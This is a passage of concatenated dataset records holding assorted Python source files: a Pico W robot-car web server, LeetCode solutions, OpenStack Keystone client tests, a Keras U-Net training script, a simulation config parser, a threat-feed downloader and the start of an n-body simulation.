toggle functions\nled1 = Pin(1, Pin.OUT)\ndef b1():\n led1.toggle()\n \nled2 = Pin(2, Pin.OUT)\ndef b2():\n led2.toggle()\n\n# Make sure the index.html file has been uploaded to the board; or you can choose to generate the html on the fly\n# Original instructions here: https://www.tomshardware.com/how-to/raspberry-pi-pico-w-web-server\n# and here: https://how2electronics.com/raspberry-pi-pico-w-web-server-tutorial-with-micropython/\npage = open(\"index.html\", \"r\")\nhtml = page.read()\npage.close()\n\n# Wifi config\nSSID = \"CYBERTRON\"\nWIFI_PW = \"Mr.LamYo\"\n\n# Connect to the wifi and Start the web server\ndef startWeb():\n wlan = network.WLAN(network.STA_IF)\n wlan.active(True)\n wlan.connect(SSID, WIFI_PW)\n \n # Wait for connect or fail\n wait = 10\n while wait > 0:\n if wlan.status() < 0 or wlan.status() >= 3:\n break\n wait -= 1\n print('waiting for connection...')\n time.sleep(1)\n \n # Handle connection error\n if wlan.status() != 3:\n raise RuntimeError('wifi connection failed')\n else:\n print('connected')\n ip=wlan.ifconfig()[0]\n print('IP: ', ip)\n \n try:\n if ip is not None:\n connection=open_socket(ip)\n serve(connection)\n except KeyboardInterrupt:\n machine.reset()\n\n# Runs the web server, waiting for requests on port 80 \ndef serve(connection):\n global s\n global degree\n while True:\n print('waiting for requests')\n client = connection.accept()[0]\n request = client.recv(1024)\n request = str(request)\n try:\n request = request.split()[1]\n except IndexError:\n pass\n \n print(request)\n if request == '/Drive':\n move_forward()\n elif request == '/Left':\n turn_left()\n elif request == '/Right':\n turn_right()\n s.gotoDegrees(degree)\n elif request == '/Reverse':\n move_backward()\n elif request == '/Stop':\n stop()\n \n client.send(html)\n client.close()\n\n# The underlying socket communication for the web server\ndef open_socket(ip):\n # Open a socket\n address = (ip, 80)\n connection = socket.socket()\n connection.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n connection.bind(address)\n connection.listen(1)\n print(connection)\n return(connection)\n","repo_name":"J-o-h-n-sss/Wall_vadEr","sub_path":"Webserver.py","file_name":"Webserver.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1916113078","text":"import matplotlib.pyplot as plt\nfrom linear import n_iter\nfrom utils import eq_qs\nimport numpy as np\n\nps = [0.2, 0.5, 0.8]\nk = 10\nepsilons = np.linspace(1e-8, 0.1, 1500)\nfor p in ps:\n qs = eq_qs(k)\n y = [n_iter(eps, p, *qs) for eps in epsilons]\n plt.plot(epsilons, y, label=f'p={p}')\nplt.title('Number of iterations with respect to epsilon')\nplt.xlabel('Epsilon')\nplt.legend()\nplt.ylabel('Number of iterations')\nplt.savefig('../img/n_iter(time).png')\nplt.show()","repo_name":"urhprimozic/pcfg","sub_path":"src/graph_n_iter(eps).py","file_name":"graph_n_iter(eps).py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72351637683","text":"\n\ndef notion_to_yEd(relations_per_database, pages_per_database):\n\n nodes_per_database = []\n edges_per_database = []\n\n for index, pages in enumerate(pages_per_database):\n relations = relations_per_database[index]\n nodes, edges = _convert_database(relations, pages)\n nodes_per_database.append(nodes)\n edges_per_database.append(edges)\n\n return nodes_per_database, edges_per_database\n\n\ndef _convert_database(relations, pages):\n nodes = []\n edges = []\n\n for page in pages:\n # obtain id and name of every page to form a node\n try:\n nodes.append({\n \"id\": page[\"id\"],\n \"name\": page[\"properties\"][\"Name\"][\"title\"][0][\"text\"][\"content\"]\n })\n except IndexError as e:\n print(\"One of your notes do not have title. Page id: \" + page[\"id\"])\n\n for id, name in relations.items():\n for relation in page[\"properties\"][name][\"relation\"]:\n e = (page[\"id\"], relation[\"id\"])\n edges.append(e)\n\n return (nodes, edges)\n","repo_name":"DmitrievDmitriyA/notion_graph_view","sub_path":"notion_graph_view/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"44193565403","text":"class Solution:\n def minCost(self, costs: List[List[int]]) -> int:\n rows = len(costs)\n cols = len(costs[0])\n \n @cache\n def dfs(i, c):\n if i == rows - 1:\n return costs[i][c]\n \n colorsList = [float('inf')]\n for color in range(cols):\n if color != c:\n colorsList += [dfs(i + 1, color)]\n \n return costs[i][c] + min(colorsList) \n \n \n total = [float('inf')]\n for c in range(cols):\n total += [dfs(0, c)]\n \n return min(total)","repo_name":"Ammar-Amjad/Leetcode","sub_path":"paint-house/paint-house.py","file_name":"paint-house.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34251927963","text":"import urlparse\nimport json\n\nimport httplib2\n\nfrom keystoneclient.v2_0 import endpoints\nfrom tests import utils\n\n\nclass EndpointTests(utils.TestCase):\n def setUp(self):\n super(EndpointTests, self).setUp()\n self.TEST_REQUEST_HEADERS = {\n 'X-Auth-Token': 'aToken',\n 'User-Agent': 'python-keystoneclient',\n }\n self.TEST_POST_HEADERS = {\n 'Content-Type': 'application/json',\n 'X-Auth-Token': 'aToken',\n 'User-Agent': 'python-keystoneclient',\n }\n self.TEST_ENDPOINTS = {\n 'endpoints': [\n {\n 'adminurl': 'http://host-1:8774/v1.1/$(tenant_id)s',\n 'id': '8f9531231e044e218824b0e58688d262',\n 'internalurl': 'http://host-1:8774/v1.1/$(tenant_id)s',\n 'publicurl': 'http://host-1:8774/v1.1/$(tenant_id)s',\n 'region': 'RegionOne',\n },\n {\n 'adminurl': 'http://host-1:8774/v1.1/$(tenant_id)s',\n 'id': '8f9531231e044e218824b0e58688d263',\n 'internalurl': 'http://host-1:8774/v1.1/$(tenant_id)s',\n 'publicurl': 'http://host-1:8774/v1.1/$(tenant_id)s',\n 'region': 'RegionOne',\n }\n ]\n }\n\n def test_create(self):\n req_body = {\n \"endpoint\": {\n \"region\": \"RegionOne\",\n \"publicurl\": \"http://host-3:8774/v1.1/$(tenant_id)s\",\n \"internalurl\": \"http://host-3:8774/v1.1/$(tenant_id)s\",\n \"adminurl\": \"http://host-3:8774/v1.1/$(tenant_id)s\",\n \"service_id\": \"e044e21\",\n }\n }\n\n resp_body = {\n \"endpoint\": {\n \"adminurl\": \"http://host-3:8774/v1.1/$(tenant_id)s\",\n \"region\": \"RegionOne\",\n \"id\": \"1fd485b2ffd54f409a5ecd42cba11401\",\n \"internalurl\": \"http://host-3:8774/v1.1/$(tenant_id)s\",\n \"publicurl\": \"http://host-3:8774/v1.1/$(tenant_id)s\",\n }\n }\n\n resp = httplib2.Response({\n \"status\": 200,\n \"body\": json.dumps(resp_body),\n })\n\n httplib2.Http.request(urlparse.urljoin(self.TEST_URL,\n 'v2.0/endpoints'),\n 'POST',\n body=json.dumps(req_body),\n headers=self.TEST_POST_HEADERS) \\\n .AndReturn((resp, resp['body']))\n self.mox.ReplayAll()\n\n endpoint = self.client.endpoints.create(\n region=req_body['endpoint']['region'],\n publicurl=req_body['endpoint']['publicurl'],\n adminurl=req_body['endpoint']['adminurl'],\n internalurl=req_body['endpoint']['internalurl'],\n service_id=req_body['endpoint']['service_id']\n )\n self.assertTrue(isinstance(endpoint, endpoints.Endpoint))\n\n def test_delete(self):\n resp = httplib2.Response({\n \"status\": 200,\n \"body\": \"\",\n })\n httplib2.Http.request(urlparse.urljoin(self.TEST_URL,\n 'v2.0/endpoints/8f953'),\n 'DELETE',\n headers=self.TEST_REQUEST_HEADERS) \\\n .AndReturn((resp, resp['body']))\n self.mox.ReplayAll()\n\n self.client.endpoints.delete('8f953')\n\n def test_list(self):\n resp = httplib2.Response({\n \"status\": 200,\n \"body\": json.dumps(self.TEST_ENDPOINTS),\n })\n\n httplib2.Http.request(urlparse.urljoin(self.TEST_URL,\n 'v2.0/endpoints'),\n 'GET',\n headers=self.TEST_REQUEST_HEADERS) \\\n .AndReturn((resp, resp['body']))\n self.mox.ReplayAll()\n\n endpoint_list = self.client.endpoints.list()\n [self.assertTrue(isinstance(r, endpoints.Endpoint))\n for r in endpoint_list]\n","repo_name":"bilelmsekni/OpenStack-Install-and-Understand-Guide","sub_path":"OpenStack_Essex/Keystone/python-keystoneclient-2012.1/tests/v2_0/test_endpoints.py","file_name":"test_endpoints.py","file_ext":"py","file_size_in_byte":4152,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"75"} +{"seq_id":"6676433993","text":"import os\nimport cv2\nimport random\nimport numpy as np\nimport pandas as pd\n\nfrom keras.optimizers import Adam, SGD\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\nfrom keras import __version__\n\nfrom model import *\nfrom losses import *\nfrom data_generator import *\n\ndef train_unet():\n out_model_path = '/notebooks/b.irina/AxSegmenta/checkpoints/unet_224_with_pretrain_long.h5'\n pretrain_model_path = '/notebooks/b.irina/AxSegmenta/checkpoints/unet_224_with_pretrain.h5'\n\n epochs = 400\n patience = 50\n batch_size = 12\n learning_rate = 0.001\n model = unet_224()\n\n # load from pretrained model\n if os.path.isfile(pretrain_model_path):\n model.load_weights(pretrain_model_path)\n print('Loading weights from pretrained model')\n\n #optim = SGD(lr=learning_rate, decay=1e-6, momentum=0.9, nesterov=True)\n optim = Adam(lr=learning_rate)\n model.compile(optimizer=optim, loss=dice_coef_loss, metrics=[dice_coef])\n model.summary()\n\n callbacks = [\n EarlyStopping(monitor='val_loss', patience=patience, verbose=0),\n ModelCheckpoint('/notebooks/b.irina/AxSegmenta/checkpoints/unet_224_with_pretrain_long_temp.h5',\n monitor='val_loss', save_best_only=True, verbose=0),\n ]\n\n print('Start training...')\n history = model.fit_generator(\n generator=batch_generator(batch_size, 1),\n epochs=epochs,\n steps_per_epoch=100,\n validation_data=batch_generator(batch_size, 0),\n validation_steps=100,\n verbose=2,\n callbacks=callbacks)\n\n model.save_weights(out_model_path)\n pd.DataFrame(history.history).to_csv('/notebooks/b.irina/AxSegmenta/checkpoints/unet_224_train_with_pretrain_long.csv',\n index=False)\n print('Training is finished (weights unet_224.h5 and log unet_224_train.csv are generated )...')\n\nif __name__ == '__main__':\n try:\n from tensorflow import __version__ as __tensorflow_version__\n print('Tensorflow version: {}'.format(__tensorflow_version__))\n except:\n print('Tensorflow is unavailable...')\n\n print('Keras version {}'.format(__version__))\n\n train_unet()\n","repo_name":"i-yu-b/AxSegmenta","sub_path":"source-code-clean/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"39865675444","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\"\"\"\nSupose n is the number of nodes in the linked list\n- Start with splitting the list into sublists of size 1. Each adjacent pair of sublists of size 1 is merged in sorted order.\n - After the first iteration, we get the sorted lists of size 2. A similar process is reapeaded of a sublist of size 2\n - We use two pointers, mid and end that references to the start and end of second linked list\n - Merge the lists in sorted order\n - use tail to keep track of previous list and nextSubList for next list\n\"\"\"\n\nclass Solution:\n def __init__(self):\n self.tail = ListNode()\n self.nextSubList = ListNode()\n # Function get called\n def sortList(self, head):\n if head is None or head.next is None:\n return head\n n = self.getCount(head)\n start = head\n dummyHead = ListNode()\n size = 1\n while size < n:\n self.tail = dummyHead\n while start is not None:\n if start.next is None:\n self.tail.next = start\n break\n mid = self.split(start, size)\n self.merge(start, mid)\n start = self.nextSubList\n start = dummyHead.next\n size = size *2\n return dummyHead.next\n \n # find the ptr to start if second linked list\n def split(self, start, size):\n midPrev = start\n end = start.next\n idx = 1\n while idx < size and (midPrev.next is not None or end.next is not None):\n if end.next is not None:\n end = end.next.next if end.next.next is not None else end.next\n if midPrev.next is not None:\n midPrev = midPrev.next\n idx += 1\n mid = midPrev.next\n midPrev.next = None\n self.nextSubList = end.next\n end.next = None\n return mid # the start of second linked list\n \n # merge two list in sorted order\n def merge(self, list1, list2):\n dummyHead = ListNode()\n newTail = dummyHead\n while list1 is not None and list2 is not None:\n if list1.val < list2.val:\n newTail.next = list1\n list1 = list1.next\n newTail = newTail.next\n else:\n newTail.next = list2\n list2 = list2.next\n newTail = newTail.next\n \n newTail.next = list1 if list1 is not None else list2\n # travse till the end of merged list to get the newTail\n while newTail.next is not None:\n newTail = newTail.next\n # link the old tail with the head of merged list\n self.tail.next = dummyHead.next\n # update the old tail to the new tail of merged list\n self.tail = newTail\n \n \n \n \n \n \n # count number of node in the linkedlist\n def getCount(self, head):\n cnt = 0\n ptr = head\n while ptr is not None:\n ptr = ptr.next\n cnt += 1\n return cnt\n \n\n\"\"\"\nSol: Top-down merge sort\nclass Solution:\n def sortList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n if head is None or head.next is None:\n return head\n mid = self.getMid(head)\n left = self.sortList(head)\n right = self.sortList(mid)\n return self.merge(left, right)\n \n def merge(self, left, right):\n dummyHead = ListNode()\n tail = dummyHead\n while left is not None and right is not None:\n if left.val < right.val:\n tail.next = left\n left = left.next\n tail = tail.next\n else:\n tail.next = right\n right = right.next\n tail = tail.next\n tail.next = left if left is not None else right\n return dummyHead.next\n \n def getMid(self, head):\n midPrev = None\n while head is not None and head.next is not None:\n midPrev = head if midPrev is None else midPrev.next\n head = head.next.next\n mid = midPrev.next\n midPrev.next = None\n return mid\n\"\"\"\n ","repo_name":"TongyunHuang/Leetcode","sub_path":"Top_intw/solution/148.sortList.py","file_name":"148.sortList.py","file_ext":"py","file_size_in_byte":4312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7475710927","text":"class Solution:\n def isPalindrome(self, x: int) -> bool:\n if x in range(0, 9):\n return True\n if x < 0 or x % 10 == 0:\n return False\n reverse = 0\n\n while reverse < x:\n reverse = int(reverse * 10 + x % 10)\n x = int(x / 10)\n # print(x)\n # print(reverse)\n return x == reverse or x == int(reverse / 10)\n\n # RES: Runtime: 94 ms, faster than 26.00% of Python3","repo_name":"hoanghailethe/Pythonhead","sub_path":"Leetcode/10.20/_9_Pandirome.py","file_name":"_9_Pandirome.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23542693567","text":"#!/usr/bin/env python3\n# Author\n# Dylan M. Gilley\n# dgilley@purdue.edu\n\nimport argparse,sys\nfrom hybrid_mdmc.data_file_parser import parse_data_file\nfrom hybrid_mdmc.frame_generator import frame_generator\nfrom hybrid_mdmc.parsers import parse_msf\n\n# Main argument\ndef main(argv):\n \"\"\"\n \"\"\"\n\n # Create the parser object.\n parser = argparse.ArgumentParser()\n\n # Positional arguments.\n parser.add_argument(dest='trj_file', type=str,\n help='Name of the trajectory file.')\n\n # Optional arguments.\n parser.add_argument('-lammps_data_file', dest='lammps_data_file', type=str, default='default',\n help='Name of the LAMMPS data file to read in. If not specified, the trajectory file prefix is prepended to .end.data')\n\n parser.add_argument('-msf_file', dest='msf_file', type=str, default='default',\n help='Name of the master species file. If not specified, the trajectory file prefix is prepended to .msf')\n\n parser.add_argument('-start', dest='start', type=int, default=0)\n\n parser.add_argument('-end', dest='end', type=int, default=-1)\n\n parser.add_argument('-every', dest='every', type=int, default=1)\n\n # Parse the input arguments.\n args = parser.parse_args()\n prefix = args.trj_file[:-10]\n if args.lammps_data_file == 'default':\n args.lammps_data_file = prefix + '.end.data'\n if args.msf_file == 'default':\n args.msf_file = prefix + '.msf'\n\n mixedtrj2singletrj(prefix,args.lammps_data_file,args.msf_file,args.trj_file,args.start,args.end,args.every)\n\n return\n\ndef mixedtrj2singletrj(prefix,lammps_data_file,msf_file,trj_file,start,end,every):\n\n # Read in the LAMMPS data file and master species file (.msf).\n atoms,bonds,angles,dihedrals,impropers,box,adj_mat,extra_prop = parse_data_file(lammps_data_file)\n species_data = parse_msf(msf_file)\n\n # Create one dictionary to map atom ID to molecule type,\n # and another to map molecule type to all atom IDs in molecules of that type.\n atomID2moleculetype = gen_atomID2moleculetype(atoms,species_data)\n species2atomIDs = {\n species:sorted([\n _ for _ in atoms.ids if atomID2moleculetype[_] == species\n ])\n for species in species_data.keys()\n }\n\n # Initialize a trj file for each molecule type.\n for species in species_data.keys():\n with open(prefix+'_{}.lammpstrj'.format(species),'w') as f:\n f.write('')\n\n # Loop through the trj file using frame_generator.\n for atoms,timestep,box,prop in frame_generator(trj_file,start,end,every,unwrap=False,return_prop=True):\n for species in species_data.keys():\n indices = sorted([index for index,_ in enumerate(atoms.ids) if _ in species2atomIDs[species]])\n with open(prefix+'_{}.lammpstrj'.format(species),'a') as f:\n f.write('ITEM: TIMESTEP\\n{}\\n'.format(timestep))\n f.write('ITEM: NUMBER OF ATOMS\\n{}\\n'.format(len(indices)))\n f.write('ITEM: BOX BOUNDS pp pp pp\\n{} {}\\n{} {}\\n{} {}\\n'.format(box[0][0],box[0][1],box[1][0],box[1][1],box[2][0],box[2][1]))\n f.write('ITEM: ATOMS {}\\n'.format(' '.join(sorted(list(prop.keys())))))\n for idx in indices:\n f.write('{}\\n'.format(' '.join([str(prop[_][idx]) for _ in sorted(list(prop.keys()))])))\n\n return\n\n\ndef gen_atomID2moleculetype(atoms,species_data):\n\n atomtypes2moleculetype = { tuple(sorted([_[2] for _ in v['Atoms']])):k for k,v in species_data.items() }\n atomID2moleculetype = {\n atomID:atomtypes2moleculetype[\n tuple(sorted([\n _ for molidx,_ in enumerate(atoms.lammps_type) if atoms.mol_id[molidx] == atoms.mol_id[atomidx]\n ]))\n ]\n for atomidx,atomID in enumerate(atoms.ids)\n }\n\n return atomID2moleculetype\n\nif __name__ == '__main__':\n main(sys.argv[1:])","repo_name":"dmgilley/hybrid_mdmc","sub_path":"Development/mixedtrj2singletrj.py","file_name":"mixedtrj2singletrj.py","file_ext":"py","file_size_in_byte":3921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35739411880","text":"#from dataclasses import Field\nimport re\nimport SPO\nimport fileinput\nimport fcntl\nimport time\nimport os\nimport random\n\n\n#Parser should be simple, put complexity in the file spec\nclass SPOEnsembleLogParser:\n def __init__(self,fileName):\n\n #check if lock file exists\n counter = 0\n #we don't want things finishing at nearly the same time, so we'll offset\n # them by a bit, here we'll do a sleep by a random number??? i guess??\n time.sleep(random.random()*10)\n self.lockfile = fileName+\"lock\"\n while os.path.exists(self.lockfile):\n counter+=1\n time.sleep(3) \n if counter >100:\n raise Exception(\"Couldn't obtain lock on %s\"%fileName)\n f = open(self.lockfile,'w')\n f.write(\"locked\")\n f.close()\n self.file = fileinput.input(fileName,inplace=True)\n\n def __del__(self):\n self.file.close()\n os.remove(self.lockfile)\n \n def parseEnsembleLog(self,ensembleID):\n finished = False\n ensembleSize = 0\n finishedCounter = 0\n for line in self.file:\n ensembleSize+=1\n #look for lines that end in \"Running \" \n runningJob = re.match(\"Run (\\d+) of \\d+ Running\",line)\n if runningJob:\n #we found a job that is still running\n if int(runningJob.group(1)) == ensembleID:\n # we are the responsible of that job,\n # update that is is finished\n line = line.replace(\"Running\",\"Finished\")\n finishedJob = re.match(\"Run \\d+ of (\\d+) Finished\",line)\n if finishedJob:\n finishedCounter +=1\n if not (finishedJob or runningJob):\n raise Exception(\"Could not read line %s in ensemble file\"%line)\n\n print(line,end='')\n\n return finishedCounter == ensembleSize\n\n#the parser works by filling out a file spec\n# a file Spec is made out of fieldSpecs.\n# field specs either are header and a rule to parse the lines after\n# or \n\n# two options here, inherite from fileSpec every time I need a thing\n# or make a \nclass FileSpecFactory:\n def __init__(self):\n self.floatMatch = \"([-+]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:[eE][-+]?\\d+)?)\"\n \n def logFileSpec(self):\n logSpec = FileSpec()\n\n\n\n # post processing for reading from a log file\n def parseParams(paramStr):\n paramList = []\n paramPairs = paramStr.split(\",\")\n for param in paramPairs:\n (name,value) = param.split(':')\n paramList.append([name,float(value)])\n return paramList\n\n # how to use the post processing for most of the log\n def logFieldPP(self):\n for i in range(len(self.value)):\n self.value[i] = [parseParams(self.value[i][0]),float(self.value[i][1])]\n \n #how to use the post processing for the last part of the log\n def lastLogFieldPP(self):\n self.value = [parseParams(self.value[1]),int(self.value[0])]\n \n\n logField = FieldSpec(pattern=\"Step\\s+\\d+\\s+{(.*)}\\s+Residue:\"+self.floatMatch,\\\n postProcessing = logFieldPP)\n logSpec.addFieldSpec(logField)\n \n lastLogField = FieldSpec(pattern=\"Step\\s+(\\d+)\\s+{(.*)}\",multiLine=False,\\\n postProcessing = lastLogFieldPP)\n logSpec.addFieldSpec(lastLogField)\n\n\n return logSpec\n \n def configFileSpec(self):\n #create the empty spec\n configSpec = HeaderFieldFileSpec()\n # the name field take everything on the next line \n # so we can leave it blank\n nameField = HeaderFieldSpec(\"Name:\")\n configSpec.addFieldSpec(nameField)\n\n simulationField = HeaderFieldSpec(\"Simulation:\")\n configSpec.addFieldSpec(simulationField)\n\n partitionField = HeaderFieldSpec(\"Partition:\")\n configSpec.addFieldSpec(partitionField)\n accountField = HeaderFieldSpec(\"Account:\")\n configSpec.addFieldSpec(accountField)\n \n extraScriptCommandsField = HeaderFieldSpec(\"Extra Commands:\",multiLine = True)\n configSpec.addFieldSpec(extraScriptCommandsField)\n\n methodField = HeaderFieldSpec(\"Method:\")\n configSpec.addFieldSpec(methodField)\n # dataFileField matches file names\n # look for some not white space then a period then some word characters\n fileNameRegex = \"(\\S*\\.\\w+)\" \n dataFileField = HeaderFieldSpec(\"Data:\",\\\n pattern=fileNameRegex + \"\\s+\" + fileNameRegex,multiLine=True)\n configSpec.addFieldSpec(dataFileField)\n # parameters look for alphanumerics and underscores followed by a colon\n # then a float\n def paramPostProcess(self):\n for i in range(len(self.value)):\n self.value[i] = [self.value[i][0],float(self.value[i][1])]\n\n paramField = HeaderFieldSpec(\"Parameters:\",\\\n pattern = \"(.*):\\s*\"+self.floatMatch,multiLine = True,postProcessing=paramPostProcess)\n configSpec.addFieldSpec(paramField)\n\n def paramSpacePostProcess(self):\n print(self.value)\n for i in range(len(self.value)):\n self.value[i] = [self.value[i][0],float(self.value[i][1]),float(self.value[i][2])]\n paramSpaceField = HeaderFieldSpec(\"Parameter Space:\",\\\n pattern = \"(.*):\\s*{\"+self.floatMatch+\":\"+self.floatMatch+\"}\",multiLine = True,postProcessing=paramSpacePostProcess)\n configSpec.addFieldSpec(paramSpaceField)\n\n # now the more complicated fields\n # runs on need to make sure we have Either Desktop or HPCC and might \n # have a number after it. So we define some post processing to\n # check these things\n def runsOnPostProcess(self):\n # check if we match \"Desktop\"\n runsOnMatch = re.match(\"Desktop\",self.value)\n if runsOnMatch:\n self.value = [SPO.SPORunsOn.Desktop,1]\n else:\n # check if we match HPCC\n line = self.value\n runsOnMatch = re.match(\"HPCC\",line)\n if runsOnMatch:\n self.value = [SPO.SPORunsOn.HPCC]\n #check if we have a number after\n runsOnSplit = line.split(' ')\n if len(runsOnSplit)>1:\n # if so append it\n self.value.append(int(runsOnSplit[1]))\n else:\n # if not append 1\n self.value.append(1)\n else:\n raise Exception(\"Field 'Runs On' is formated incorrectly.\\\n Expected 'Desktop' or 'HPCC' possibly followed by a number\")\n \n runsOnField = HeaderFieldSpec(\"Runs On:\",postProcessing=runsOnPostProcess)\n configSpec.addFieldSpec(runsOnField)\n\n return configSpec\n\nclass FileSpec:\n # a Plane old file that tries to read a single field\n def __init__(self):\n self.fields = []\n def addFieldSpec(self,field):\n self.fields.append(field)\n def readFile(self,fileName):\n #for each line try each field\n parser = SPOFileParser(fileName)\n # we'll rely on the parser raising a stop iteration when its done\n # with the file\n for line in parser:\n self.findAndFillSpec(line,parser)\n\n return self.makeValues()\n\n def findAndFillSpec(self,line,parser):\n # loop though all the fields until we get one that can read the line\n for field in self.fields:\n if field.read(line,parser):\n break\n\n def makeValues(self):\n return list(field.value for field in self.fields)\n \n\nclass HeaderFieldFileSpec(FileSpec):\n def __init__(self):\n self.fields = {}\n def addFieldSpec(self,field):\n self.fields[field.header]=field\n\n def findAndFillSpec(self,line,parser):\n # Find the field with a header that matches and read it\n if line in self.fields.keys():\n nextLine = next(parser)\n if not self.fields[line].read(nextLine,parser):\n raise Exception(\"Field %s is formatted incorrectly could not\\\n match regex %s with line %s\"%(self.fields[line].header,self.fields[line].pattern, nextLine))\n else:\n raise Exception(\"Unrecognized header %s in file %s\"%(line,parser.fileName))\n\n def makeValues(self):\n #now return a dictionary of file headers and their values\n # for each field in the list of fields, make a dictionary of {header:value}\n return dict(list((self.fields[field].header,self.fields[field].value) for field in self.fields))\n\n\nclass FieldSpec(object):\n def __init__(self,pattern = \"(.*)\",multiLine = True,postProcessing=None):\n self.pattern = pattern\n self.multiLine = multiLine\n if multiLine:\n self.value = []\n else:\n self.value = None\n self.postProcessing = postProcessing\n def safeGetNextLine(self,parser):\n try:\n line = next(parser)\n return line\n except StopIteration:\n return None\n\n\n def matchLine(self,line):\n # assume what we've been given is a regular expression\n # find the matches and report all of them in a list\n\n # make sure line is not None\n if line:\n \n matches = re.match(self.pattern,line)\n if matches:\n # return the tuple of matches\n retval = matches.groups()\n # if we only have one value unpack the tuple\n if len(retval) == 1:\n retval = retval[0]\n return retval\n \n return None\n\n\n def read(self, line, parser):\n # Tries to match the current line to the pattern return true if we have \n # a match and false if we don't\n # check if our pattern is a callable if so call it\n if callable(self.pattern):\n self.pattern(parser)\n elif isinstance(self.pattern,str):\n # always read the first line\n lineValue = self.matchLine(line)\n # make sure we could match the line\n if not lineValue:\n return False\n\n\n if self.multiLine:\n # for multi line field value should be \n # a list of value on the lines\n\n self.value.append(lineValue)\n line = self.safeGetNextLine(parser) \n nextVal = self.matchLine(line)\n while nextVal:\n self.value.append(nextVal)\n line = self.safeGetNextLine(parser)\n nextVal = self.matchLine(line)\n # This kind of read will always go one past the end so we need to rewind\n parser.rewind()\n\n else:\n self.value = lineValue\n\n\n \n \n # call postprocessing if we need to\n if self.postProcessing is not None:\n self.postProcessing(self)\n return True\n \n\nclass HeaderFieldSpec(FieldSpec):\n def __init__(self,header,pattern = \"(.*)\",multiLine = False,postProcessing=None):\n self.header = header\n super(HeaderFieldSpec,self).__init__(pattern = pattern,multiLine = multiLine,postProcessing =postProcessing)\n\n\nclass SPOFileParser:\n def __init__(self,fileName, mode = None):\n self.file = open(fileName,\"r+\")\n self.fileName = fileName\n #keep a list of line positions so we can rewind\n self.lastLinePos = []\n self.lastLinePos.append(self.file.tell())\n def __del__(self):\n self.file.close()\n\n def __next__(self):\n #grabs the next line that isn't just a new line or comment ('#')\n lastLine = self.file.tell()\n self.lastLinePos.append(lastLine)\n \n line = \"\"\n while len(line) == 0:\n line = self.file.readline()\n if self.file.tell() == lastLine:\n raise StopIteration\n line = self._trimLine(line)\n lastLine = self.file.tell()\n\n return line\n \n def __iter__(self):\n return self\n def _trimLine(self, line):\n #look for the comment symbol\n comment = re.search(\"(.*)#\",line)\n # if its found\n if comment:\n line = comment.group(1) # grab the first group as the line\n line = line.strip() #remove any leading or trailing whitespace\n return line\n def rewind(self):\n self.file.seek(self.lastLinePos.pop())\n","repo_name":"ConduitDan/MRSEC-Projects","sub_path":"Simulation Parameter Optimization/SPOParser.py","file_name":"SPOParser.py","file_ext":"py","file_size_in_byte":12646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2860445728","text":"import os\nimport csv\nimport requests\nimport json\nimport os\n\n\n# # ... (Code précédent inchangé)\n\n# def download_files(ti_folder):\n# # ... (Code précédent inchangé)\n# print(\"\\n\")\n# return all_files_downloaded # Retourner la valeur de all_files_downloaded\n\n\ndef download_files(ti_folder):\n\n ti_feed = os.path.expanduser(os.path.join(ti_folder, \"TI_feeds.csv\"))\n db_size = sum(1 for line in open(ti_feed) if line.startswith(\"https\"))\n feed_folder = os.path.expanduser(os.path.join(ti_folder, \"feed\"))\n all_files_downloaded = True\n\n if not os.path.exists(feed_folder):\n os.makedirs(feed_folder)\n\n if len(os.listdir(feed_folder)) < db_size:\n print(\"Filling DB\")\n with open(ti_feed) as csvfile:\n reader = csv.reader(csvfile)\n for link, *_ in reader:\n if link.startswith(\"https\"):\n file_name = os.path.join(feed_folder, os.path.basename(link))\n if not os.path.exists(file_name):\n response = requests.get(link)\n if response.status_code == 200:\n with open(file_name, \"wb\") as f:\n f.write(response.content)\n else:\n all_files_downloaded = False\n print(f\"Failed to download file from link: {link}\")\n break # Exit the loop immediately if any download fails\n print(\"\\n\")\n return all_files_downloaded\n\n","repo_name":"Mouhc001/Detection_services","sub_path":"modules/TI/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"19628660252","text":"import numpy as np\nimport plotly.graph_objs as px\n\nimport matplotlib.pyplot as plt\nimport plotly.offline\nfrom tqdm import tqdm\n\n\nclass objec:\n def __init__(self, pos, mass, name, colour, vx=0, vy=0, vz=0):\n self.colour = colour\n self.x, self.y, self.z = pos\n self.mass = mass\n self.vx = vx\n self.vy = vy\n self.vz = vz\n self.name = name\n self.pos = [pos]\n\n def initial_force(self, objects):\n self.ax, self.ay, self.az = self.acceleration(objects)\n\n def acceleration(self, objects):\n fx = fy = fz = 0\n for body in objects:\n if body != self:\n if (self.x, self.y, self.z) == (body.x, body.y, body.z):\n print(self.name, body.name)\n raise ValueError(\"collison\")\n\n dx = self.x - body.x\n dy = self.y - body.y\n dz = self.z - body.z\n\n d = np.sqrt(dx ** 2 + dy ** 2 + dz ** 2)\n dxy = np.sqrt(dx 